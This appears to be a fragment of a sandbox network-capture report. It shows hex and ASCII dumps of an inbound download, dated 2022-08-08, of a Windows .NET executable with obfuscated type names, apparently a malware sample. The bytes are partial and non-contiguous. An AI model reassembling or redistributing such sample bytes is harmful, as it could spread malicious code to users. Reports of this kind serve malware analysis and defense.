22 3a 22 63 66 2d 6e 65 6c 22 2c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EQubOHnOLwsaUFipktS%2B2ky%2BHv7rZ3m%2B3PAnyT4lxzOXUqUCXjPah0Vs5WEkH0C53a%2BMdJN4a%2FQXh0vZ7TJYAsUsgUz1wz%2FDnMZpSiZaRl7KfXkqqP%2BUV3nHc8hs%2FY8Hx6w5Yg%3D%3D"}],"group":"cf-nel",
2022-08-08 15:18:44 UTC	130	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 c2 48 ef 62 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 b8 00 00 00 30 00 00 00 00 00 00 8e d6 00 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELHb!0 @ @`
2022-08-08 15:18:44 UTC	131	IN	Data Raw: 38 f8 01 00 00 38 f3 01 00 00 20 15 00 00 00 fe 0c 00 00 3f fc 00 00 00 20 15 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 74 08 00 00 20 11 00 00 00 fe 0c 00 00 3f 64 00 00 00 20 11 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 19 07 00 00 20 0f 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 0f 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 34 06 00 00 38 8b 01 00 00 20 10 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 10 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 93 06 00 00 38 65 01 00 00 38 60 01 00 00 20 13 00 00 00 fe 0c 00 00 3f 3e 00 00 00 20 13 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 35 07 00 00 20 12 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 12 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 cd 06 00 00 38 19 01 00 00 38 14 01 00 00 20 14 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 14 00 00 00 fe 0c 00 Data Ascii: 88 ? =8t ?d =8 ? =848 ? =88e8` ?> =85 ? =888 ?
2022-08-08 15:18:44 UTC	133	IN	Data Raw: 04 00 fe 0c 03 00 20 01 00 00 00 59 20 01 00 00 00 9c fe 0c 08 00 fe 0c 03 00 20 01 00 00 00 59 8f 05 00 00 01 e0 fe 0c 06 00 fe 0c 03 00 20 01 00 00 00 59 9a fe 0c 08 00 fe 0c 03 00 20 01 00 00 00 59 8f 05 00 00 01 e0 4a fe 0c 01 00 7e 03 00 00 04 fe 0c 0b 00 fe 0c 03 00 20 01 00 00 00 59 94 97 29 05 00 00 11 7e 03 00 00 04 fe 0c 0c 00 fe 0c 02 00 58 4a 97 29 06 00 00 11 55 fe 0c 0c 00 20 08 00 00 00 58 fe 0e 0c 00 38 c3 f7 ff ff fe 0c 08 00 fe 0c 03 00 20 02 00 00 00 59 8f 05 00 00 01 e0 4c fe 0c 08 00 fe 0c 03 00 20 01 00 00 00 59 8f 05 00 00 01 e0 4c fe 02 fe 0c 0c 00 fe 0c 02 00 58 4a fe 0c 0c 00 20 08 00 00 00 58 fe 0c 02 00 58 4a 59 5a fe 0c 0c 00 20 08 00 00 00 58 fe 0c 02 00 58 4a 58 fe 0c 0f 00 58 fe 0e 0c 00 fe 0c 03 00 20 02 00 00 00 59 fe 0e Data Ascii: Y Y Y YJ~ Y)~XJ)U X8 YL YLXJ XXJYZ XXJXX Y
2022-08-08 15:18:44 UTC	134	IN	Data Raw: 06 03 00 00 06 9b 7e 03 00 00 04 20 02 00 00 00 fe 06 04 00 00 06 9b 7e 03 00 00 04 20 03 00 00 00 fe 06 05 00 00 06 9b 7e 03 00 00 04 20 04 00 00 00 fe 06 06 00 00 06 9b 7e 03 00 00 04 20 05 00 00 00 fe 06 07 00 00 06 9b 7e 03 00 00 04 20 06 00 00 00 fe 06 08 00 00 06 9b 7e 03 00 00 04 20 07 00 00 00 fe 06 09 00 00 06 9b 2a 26 02 28 08 00 00 0a 00 00 2a 2a 00 02 28 0c 00 00 0a 00 00 2a aa 73 0e 00 00 0a 80 04 00 00 04 73 0f 00 00 0a 80 05 00 00 04 73 10 00 00 0a 80 06 00 00 04 73 11 00 00 0a 80 07 00 00 04 00 2a 13 30 01 00 10 00 00 00 0a 00 00 11 00 7e 04 00 00 04 6f 12 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 0b 00 00 11 00 7e 05 00 00 04 6f 13 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 0c 00 00 11 00 7e 06 00 00 04 6f 14 00 00 0a 0a 2b 00 Data Ascii: ~ ~ ~ ~ ~ ~ &((ssss0~o+0~o+*0~o+
2022-08-08 15:18:44 UTC	135	IN	Data Raw: 2b 0d 07 6f 3a 00 00 0a 6f 3b 00 00 0a 13 04 09 14 fe 01 16 fe 01 13 10 11 10 39 25 01 00 00 02 2c 03 03 2d 03 16 2b 01 17 00 13 11 11 11 2c 58 02 8e b7 17 da 13 05 16 11 05 13 0e 13 08 2b 3e 02 11 08 9a 13 07 03 11 08 9a 13 06 11 04 11 07 6f 3c 00 00 0a 13 11 11 11 2c 1b 09 11 06 28 3d 00 00 0a 13 10 11 10 2c 07 07 6f 3e 00 00 0a 00 00 14 0b 00 2b 12 00 00 11 08 17 d6 13 08 11 08 11 0e 13 12 11 12 31 b8 00 07 14 fe 01 16 fe 01 13 11 11 11 39 aa 00 00 00 04 14 fe 01 16 fe 01 13 10 11 10 2c 7f 04 6f 3f 00 00 0a 17 da 13 09 16 11 09 13 0f 13 0d 2b 62 04 11 0d 6f 40 00 00 0a 13 0a 11 0a 6f 3a 00 00 0a 6f 3b 00 00 0a 13 0c 11 0a 6f 06 00 00 2b 13 0b 11 0b 14 fe 01 16 fe 01 13 11 11 11 2c 2b 11 04 11 0c 6f 3c 00 00 0a 13 10 11 10 2c 1b 09 11 0b 28 3d 00 00 0a Data Ascii: +o:o;9%,-+,X+>o<,(=,o>+19,o?+bo@o:o;o+,+o<,(=
2022-08-08 15:18:44 UTC	137	IN	Data Raw: 11 2f 28 31 00 00 06 13 04 18 8d 08 00 00 01 13 2f 11 2f 16 72 1a 08 00 70 a2 00 11 2f 17 72 15 0a 00 70 a2 00 11 2f 28 31 00 00 06 13 14 18 8d 08 00 00 01 13 2f 11 2f 16 72 ba 0a 00 70 a2 00 11 2f 17 72 61 0d 00 70 a2 00 11 2f 28 31 00 00 06 13 08 18 8d 08 00 00 01 13 2f 11 2f 16 72 06 0e 00 70 a2 00 11 2f 17 72 53 11 00 70 a2 00 11 2f 28 31 00 00 06 13 0a 18 8d 08 00 00 01 13 2f 11 2f 16 72 f8 11 00 70 a2 00 11 2f 17 72 a3 14 00 70 a2 00 11 2f 28 31 00 00 06 13 0b 18 8d 08 00 00 01 13 2f 11 2f 16 72 48 15 00 70 a2 00 11 2f 17 72 9f 18 00 70 a2 00 11 2f 28 31 00 00 06 13 0c 18 8d 08 00 00 01 13 2f 11 2f 16 72 44 19 00 70 a2 00 11 2f 17 72 9b 1c 00 70 a2 00 11 2f 28 31 00 00 06 13 0d 18 8d 08 00 00 01 13 2f 11 2f 16 72 40 1d 00 70 a2 00 11 2f 17 72 ed 1f Data Ascii: /(1//rp/rp/(1//rp/rap/(1//rp/rSp/(1//rp/rp/(1//rHp/rp/(1//rDp/rp/(1//r@p/r
2022-08-08 15:18:44 UTC	138	IN	Data Raw: 13 32 11 32 2c 06 73 5e 00 00 0a 7a 00 11 06 12 01 7b 10 00 00 04 6f 5e 00 00 06 15 fe 01 13 32 11 32 2c 06 73 5e 00 00 0a 7a 00 de 40 25 28 61 00 00 0a 13 2d 00 12 01 7b 11 00 00 04 84 28 62 00 00 0a 13 2e 11 2e 14 fe 01 16 fe 01 13 32 11 32 2c 08 11 2e 6f 63 00 00 0a 00 00 16 13 07 28 64 00 00 0a de 0d 28 64 00 00 0a de 00 00 17 13 07 2b 00 11 07 2a 41 1c 00 00 00 00 00 00 5e 02 00 00 45 03 00 00 a3 05 00 00 40 00 00 00 09 00 00 01 13 30 03 00 25 00 00 00 23 00 00 11 00 02 28 13 00 00 2b 0c 02 28 14 00 00 2b 0a 08 06 7e 67 00 00 0a 6f 68 00 00 0a 28 69 00 00 0a 0b 2b 00 07 2a 00 00 00 13 30 04 00 11 00 00 00 0e 00 00 11 00 02 03 04 17 28 30 00 00 06 26 17 0a 2b 00 06 2a 00 00 00 13 30 02 00 3b 00 00 00 24 00 00 11 00 7e 1c 00 00 04 14 28 6a 00 00 0a 0c Data Ascii: 22,s^z{o^22,s^z@%(a-{(b..22,.oc(d(d+A^E@0%#(+(+~goh(i+0(0&+*0;$~(j
2022-08-08 15:18:44 UTC	139	IN	Data Raw: 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0a 0a 00 00 00 01 23 e0 a6 83 83 a6 e0 23 01 23 e0 a6 e1 e1 a6 e0 23 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0b 0b 00 00 00 01 44 f4 63 61 61 63 f4 44 01 44 f4 63 0d 0d 63 f4 44 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0c 0c 00 00 00 01 3b 76 fc f1 f1 fc 76 3b 01 3b 76 fc 88 88 fc 76 3b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0d 0d 00 00 00 01 7e 32 10 97 97 10 32 7e 01 7e 32 10 b7 b7 10 32 7e 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0e 0e 00 00 00 01 62 ab d2 14 14 d2 ab 62 01 62 ab d2 63 63 d2 ab 62 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 Data Ascii: ####DcaacDDccD;vv;;vv;~22~~22~bbbccb
2022-08-08 15:18:44 UTC	141	IN	Data Raw: 26 00 00 00 01 72 76 bb 70 70 bb 76 72 01 72 76 bb 02 02 bb 76 72 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 27 27 00 00 00 01 55 ac 1d 45 45 1d ac 55 01 55 ac 1d 36 36 1d ac 55 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 28 28 00 00 00 01 71 fa 59 45 45 59 fa 71 01 71 fa 59 2c 2c 59 fa 71 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 29 29 00 00 00 01 08 5f 25 11 11 25 5f 08 01 08 5f 25 7e 7e 25 5f 08 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 2a 2a 00 00 00 01 03 c6 8f d4 d4 8f c6 03 01 03 c6 8f ba ba 8f c6 03 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 2b 2b 00 00 00 01 38 ca 33 09 09 33 ca 38 01 38 Data Ascii: &rvppvrrvvr''UEEUU66U((qYEEYqqY,,Yq))_%%__%~~%_**++83388
2022-08-08 15:18:44 UTC	142	IN	Data Raw: 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 43 43 00 00 00 01 53 1f 2d f2 f2 2d 1f 53 01 53 1f 2d 93 93 2d 1f 53 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 44 44 00 00 00 01 20 bf 80 05 05 80 bf 20 01 20 bf 80 7c 7c 80 bf 20 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 45 45 00 00 00 01 02 83 a0 91 91 a0 83 02 01 02 83 a0 e2 e2 a0 83 02 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 46 46 00 00 00 01 00 23 d5 db db d5 23 00 01 00 23 d5 fb fb d5 23 00 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 47 47 00 00 00 01 32 6e 0d 17 17 0d 6e 32 01 32 6e 0d 76 76 0d 6e 32 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 Data Ascii: CCS--SS--SDD \|\| EEFF####GG2nn22nvvn2
2022-08-08 15:18:44 UTC	143	IN	Data Raw: 00 00 01 5b a6 9c 50 50 9c a6 5b 01 5b a6 9c 70 70 9c a6 5b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 60 60 00 00 00 01 05 6b 97 c3 c3 97 6b 05 01 05 6b 97 ab ab 97 6b 05 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 61 61 00 00 00 01 1f 01 62 87 87 62 01 1f 01 1f 01 62 f3 f3 62 01 1f 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 62 62 00 00 00 01 1b d6 66 06 06 66 d6 1b 01 1b d6 66 72 72 66 d6 1b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 63 63 00 00 00 01 22 2a 7a 8a 8a 7a 2a 22 01 22 2a 7a fa fa 7a 2a 22 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 64 64 00 00 00 01 3f 18 b1 96 96 b1 18 3f 01 3f 18 b1 Data Ascii: [PP[[pp[``kkkkaabbbbbbfffrrfcc"zz""zz"dd???
2022-08-08 15:18:44 UTC	145	IN	Data Raw: 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7c 7c 00 00 00 01 46 24 a0 0d 0d a0 24 46 01 46 24 a0 23 23 a0 24 46 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7d 7d 00 00 00 01 14 42 91 60 60 91 42 14 01 14 42 91 08 08 91 42 14 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7e 7e 00 00 00 01 0f 29 86 71 71 86 29 0f 01 0f 29 86 05 05 86 29 0f 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7f 7f 00 00 00 01 36 ce c7 32 32 c7 ce 36 01 36 ce c7 5f 5f c7 ce 36 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 80 80 00 00 00 01 27 33 bb 08 08 bb 33 27 01 27 33 bb 64 64 bb 33 27 06 15 16 00 00 00 05 05 00 00 00 17 00 00 00 06 06 00 00 00 Data Ascii: \|\|F$$FF$##$F}}B``BBB~~)qq)))62266__6'33''3dd3'
2022-08-08 15:18:44 UTC	146	IN	Data Raw: 01 77 3a 83 96 96 83 3a 77 01 77 3a 83 f9 f9 83 3a 77 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 15 15 00 00 00 01 07 0d b1 74 74 b1 0d 07 01 07 0d b1 00 00 b1 0d 07 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 16 16 00 00 00 01 7b 43 ce 6d 6d ce 43 7b 01 7b 43 ce 08 08 ce 43 7b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 17 17 00 00 00 01 1d aa 8e cc cc 8e aa 1d 01 1d aa 8e af af 8e aa 1d 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 18 18 00 00 00 01 18 ac 10 61 61 10 ac 18 01 18 ac 10 15 15 10 ac 18 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 19 19 00 00 00 01 4a 2f 0a 96 96 0a 2f 4a 01 4a 2f 0a f3 f3 Data Ascii: w::ww::wtt{CmmC{{CC{aaJ//JJ/
2022-08-08 15:18:44 UTC	147	IN	Data Raw: 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 31 31 00 00 00 01 32 4f 28 aa aa 28 4f 32 01 32 4f 28 c7 c7 28 4f 32 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 32 32 00 00 00 01 13 6d 96 e4 e4 96 6d 13 01 13 6d 96 a0 a0 96 6d 13 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 33 33 00 00 00 01 3c ab de ba ba de ab 3c 01 3c ab de d5 d5 de ab 3c 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 34 34 00 00 00 01 45 4d 54 d6 d6 54 4d 45 01 45 4d 54 a2 a2 54 4d 45 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 35 35 00 00 00 01 25 16 9c a5 a5 9c 16 25 01 25 16 9c 85 85 9c 16 25 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 Data Ascii: 112O((O22O((O222mmmm33<<<<44EMTTMEEMTTME55%%%%
2022-08-08 15:18:44 UTC	149	IN	Data Raw: b2 63 8a 8a 63 b2 65 01 65 b2 63 ff ff 63 b2 65 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 4e 4e 00 00 00 01 4b 2b cb ea ea cb 2b 4b 01 4b 2b cb 93 93 cb 2b 4b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 4f 4f 00 00 00 01 16 9d 9a 2e 2e 9a 9d 16 01 16 9d 9a 0e 0e 9a 9d 16 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 50 50 00 00 00 01 09 a8 9b 11 11 9b a8 09 01 09 a8 9b 77 77 9b a8 09 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 51 51 00 00 00 01 26 25 c2 42 42 c2 25 26 01 26 25 c2 37 37 c2 25 26 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 52 52 00 00 00 01 63 12 23 67 67 23 12 63 01 63 12 23 0b 0b 23 12 Data Ascii: cceecceNNK++KK++KOO..PPwwQQ&%BB%&&%77%&RRc#gg#cc##
2022-08-08 15:18:44 UTC	150	IN	Data Raw: 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6a 6a 00 00 00 01 09 a8 84 c6 c6 84 a8 09 01 09 a8 84 b1 b1 84 a8 09 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6b 6b 00 00 00 01 50 9e 93 66 66 93 9e 50 01 50 9e 93 48 48 93 9e 50 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6c 6c 00 00 00 01 66 0c e7 09 09 e7 0c 66 01 66 0c e7 68 68 e7 0c 66 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6d 6d 00 00 00 01 62 b3 c7 2b 2b c7 b3 62 01 62 b3 c7 59 59 c7 b3 62 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6e 6e 00 00 00 01 4c 57 57 48 48 57 57 4c 01 4c 57 57 25 25 57 57 4c 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 Data Ascii: jjkkPffPPHHPllfffhhfmmb++bbYYbnnLWWHHWWLLWW%%WWL
2022-08-08 15:18:44 UTC	151	IN	Data Raw: 06 00 64 00 6d 0b 06 00 7b 00 6d 0b 12 00 c9 11 4b 0f 06 00 41 0d 6d 0b 06 00 5d 0a 6d 0b 06 00 aa 0c 6d 0b 06 00 bf 12 6d 0b 06 00 38 0f 6d 0b 0a 00 3a 06 9a 0f 06 00 58 07 4b 0f 12 00 89 07 f5 0a 12 00 ca 06 f5 0a 12 00 41 07 12 0e 0a 00 a6 0e 5e 0f 06 00 41 08 4b 0f 0a 00 54 0e 9a 0f 12 00 13 07 df 0b 0a 00 e5 07 59 03 0a 00 cd 07 e3 0f 06 00 91 11 0a 10 06 00 a7 05 6d 0b 06 00 9f 04 6d 0b 06 00 21 0f 6d 0b 0a 00 89 08 59 03 0a 00 0f 00 cb 0a 06 00 a2 07 c4 0f 0e 00 b6 12 25 0d 06 00 39 00 3e 03 06 00 01 00 3e 03 06 00 07 0f 7e 11 06 00 86 04 6d 0b 0e 00 df 06 25 0d 0e 00 ec 04 25 0d 0e 00 fd 03 25 0d 0e 00 0f 12 25 0d 06 00 7a 04 7e 11 06 00 47 00 3e 03 06 00 6a 00 6d 0b 16 00 7b 04 35 0d 06 00 59 08 0a 10 06 00 ea 06 0a 10 12 00 de 04 4b 0f 12 00 92 Data Ascii: dm{mKAm]mmm8m:XKA^AKTYmm!mY%9>>~m%%%%z~G>jm{5YK
2022-08-08 15:18:44 UTC	153	IN	Data Raw: 08 28 04 02 01 04 00 2c 30 00 00 00 00 06 18 2b 0f 8a 00 04 00 de 2f 00 00 00 00 01 18 2b 0f 8a 00 04 00 44 30 00 00 00 00 16 08 76 09 a9 02 04 00 a4 30 00 00 00 00 16 08 80 09 c0 02 05 00 04 31 00 00 00 00 16 08 8a 09 dc 02 07 00 6c 31 00 00 00 00 16 08 9d 09 f2 02 09 00 cc 31 00 00 00 00 16 08 8a 09 01 03 0c 00 ea 31 00 00 00 00 16 08 9d 09 0a 03 0e 00 f8 31 00 00 00 00 16 00 fd 07 1b 03 11 00 24 32 00 00 00 00 16 00 28 07 33 03 13 00 4c 32 00 00 00 00 16 00 cd 10 49 03 15 00 ac 32 00 00 00 00 16 00 cd 10 bb 03 19 00 20 33 00 00 00 00 16 00 cd 10 2c 04 1d 00 c4 34 00 00 00 00 03 18 2b 0f 77 04 21 00 e4 34 00 00 00 00 03 00 af 12 8e 04 24 00 10 35 00 00 00 00 03 00 17 12 9c 04 25 00 54 35 00 00 00 00 11 18 31 0f 73 00 26 00 be 35 00 00 00 00 06 18 2b 0f Data Ascii: (,0+/+D0v01l1111$2(3L2I2 3,4+w!4$5%T51s&5+
2022-08-08 15:18:44 UTC	154	IN	Data Raw: 74 0a 00 00 02 00 e4 03 00 00 03 00 90 0a 00 00 01 00 25 12 00 00 02 00 e8 03 00 00 01 00 19 03 00 00 02 00 b2 0a 00 00 03 00 9e 06 00 00 01 00 9b 12 00 00 01 00 19 03 00 00 01 00 25 12 00 00 02 00 e8 03 00 00 01 00 55 05 00 00 02 00 73 05 00 00 03 00 e7 10 00 00 04 00 bc 10 00 00 05 00 a1 10 00 00 06 00 21 11 00 00 07 00 cb 12 00 00 08 00 b3 13 00 00 09 00 dc 0c 00 00 0a 00 1a 0c 00 00 0b 00 b2 0a 00 00 0c 00 9e 06 00 00 01 00 dc 0c 00 00 02 00 1a 0c 00 00 03 00 9b 12 00 00 01 00 55 05 00 00 02 00 73 05 00 00 03 00 e7 10 00 00 04 00 bc 10 00 00 05 00 a1 10 00 00 06 00 21 11 00 00 07 00 cb 12 00 00 08 00 b3 13 00 00 09 00 dc 0c 00 00 0a 00 1a 0c 00 00 01 00 25 12 00 00 02 00 e8 03 00 00 01 00 cc 03 00 00 02 00 65 13 00 00 03 00 b2 0a 00 00 04 00 9e 06 00 Data Ascii: t%%Us!Us!%e
2022-08-08 15:18:44 UTC	155	IN	Data Raw: 05 41 00 01 12 ea 05 59 00 e8 0c f1 05 49 00 2b 0f 8a 00 b1 01 a9 13 f4 05 a1 01 06 11 01 06 c1 01 d2 0e 07 06 31 00 96 03 0d 06 31 00 2a 0b 8a 00 c1 01 c0 0e 73 00 51 01 27 13 22 06 51 01 02 13 22 06 41 00 d8 13 a1 04 41 00 f5 03 33 06 c9 01 81 06 39 06 19 00 59 11 60 07 c1 00 9c 13 66 07 f1 01 2b 0f 6c 07 11 02 d7 03 e7 07 09 02 2b 0f 8a 00 19 02 2b 0f 85 00 21 02 2b 0f 85 00 29 02 2b 0f 85 00 31 02 2b 0f 85 00 39 02 2b 0f 85 00 41 02 2b 0f 85 00 49 02 2b 0f 85 00 51 02 2b 0f d3 08 61 02 2b 0f e3 08 69 02 2b 0f 8a 00 71 02 2b 0f 85 00 79 02 2b 0f 85 00 51 02 2b 0f 67 09 29 00 b3 00 2f 01 2e 00 7b 03 7a 02 2e 00 83 03 7a 02 2e 00 8b 03 71 08 2e 00 93 03 7a 02 2e 00 9b 03 91 08 2e 00 a3 03 71 08 2e 00 ab 03 bb 08 2e 00 b3 03 da 08 2e 00 2b 01 7a 02 2e 00 Data Ascii: AYI+11*sQ'"Q"AA39Y`f+l++!+)+1+9+A+I+Q+a+i+q+y+Q+g)/.{z.z.q.z..q...+z.
2022-08-08 15:18:44 UTC	157	IN	Data Raw: 60 31 00 43 6f 6e 74 65 78 74 56 61 6c 75 65 60 31 00 54 68 72 65 61 64 53 61 66 65 4f 62 6a 65 63 74 50 72 6f 76 69 64 65 72 60 31 00 49 45 6e 75 6d 65 72 61 74 6f 72 60 31 00 4c 69 73 74 60 31 00 52 65 73 65 72 76 65 64 31 00 52 65 61 64 49 6e 74 33 32 00 54 6f 49 6e 74 33 32 00 46 75 6e 63 60 32 00 52 65 73 65 72 76 65 64 32 00 49 6e 74 36 34 00 54 6f 49 6e 74 31 36 00 3c 4d 6f 64 75 6c 65 3e 00 67 65 74 45 6e 63 6f 64 69 6e 67 43 4d 53 53 45 43 54 49 4f 4e 45 4e 54 52 59 49 44 4d 45 54 41 44 41 54 41 00 65 72 49 6c 4f 48 6d 54 6a 76 46 55 52 55 42 00 46 7a 52 58 72 4e 58 52 41 46 43 71 5a 51 44 00 73 44 47 57 6a 74 49 6e 6e 65 41 74 76 51 44 00 73 4c 45 58 52 67 6d 42 45 4f 62 4c 7a 6c 44 00 4e 58 6e 64 55 49 50 75 6f 47 50 47 47 42 46 00 68 6c 49 4b Data Ascii: `1ContextValue`1ThreadSafeObjectProvider`1IEnumerator`1List`1Reserved1ReadInt32ToInt32Func`2Reserved2Int64ToInt16<Module>getEncodingCMSSECTIONENTRYIDMETADATAerIlOHmTjvFURUBFzRXrNXRAFCqZQDsDGWjtInneAtvQDsLEXRgmBEObLzlDNXndUIPuoGPGGBFhlIK
2022-08-08 15:18:44 UTC	158	IN	Data Raw: 6e 61 6d 65 00 44 61 74 65 54 69 6d 65 00 63 6f 6d 6d 61 6e 64 4c 69 6e 65 00 56 61 6c 75 65 54 79 70 65 00 4e 6f 50 72 69 6e 63 69 70 61 6c 4d 61 6b 65 50 6f 69 6e 74 65 72 54 79 70 65 00 47 65 74 54 79 70 65 00 74 79 70 65 00 53 79 73 74 65 6d 2e 43 6f 72 65 00 52 65 6d 6f 76 65 4e 61 6d 65 73 70 61 63 65 41 74 74 72 69 62 75 74 65 73 43 6c 6f 73 75 72 65 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 00 67 65 74 5f 43 75 6c 74 75 72 65 00 73 65 74 5f 43 75 6c 74 75 72 65 00 72 65 73 6f 75 72 63 65 43 75 6c 74 75 72 65 00 47 65 6e 65 72 69 63 46 69 65 6c 64 49 6e 66 6f 43 6f 64 65 42 61 73 65 00 41 70 70 6c 69 63 61 74 69 6f 6e 42 61 73 65 00 52 65 61 64 4f 6e 6c 79 43 6f 6c 6c 65 63 74 69 6f 6e 42 61 73 65 00 41 70 70 Data Ascii: nameDateTimecommandLineValueTypeNoPrincipalMakePointerTypeGetTypetypeSystem.CoreRemoveNamespaceAttributesClosureRealProxyFlagsBadSignatureget_Cultureset_CultureresourceCultureGenericFieldInfoCodeBaseApplicationBaseReadOnlyCollectionBaseApp
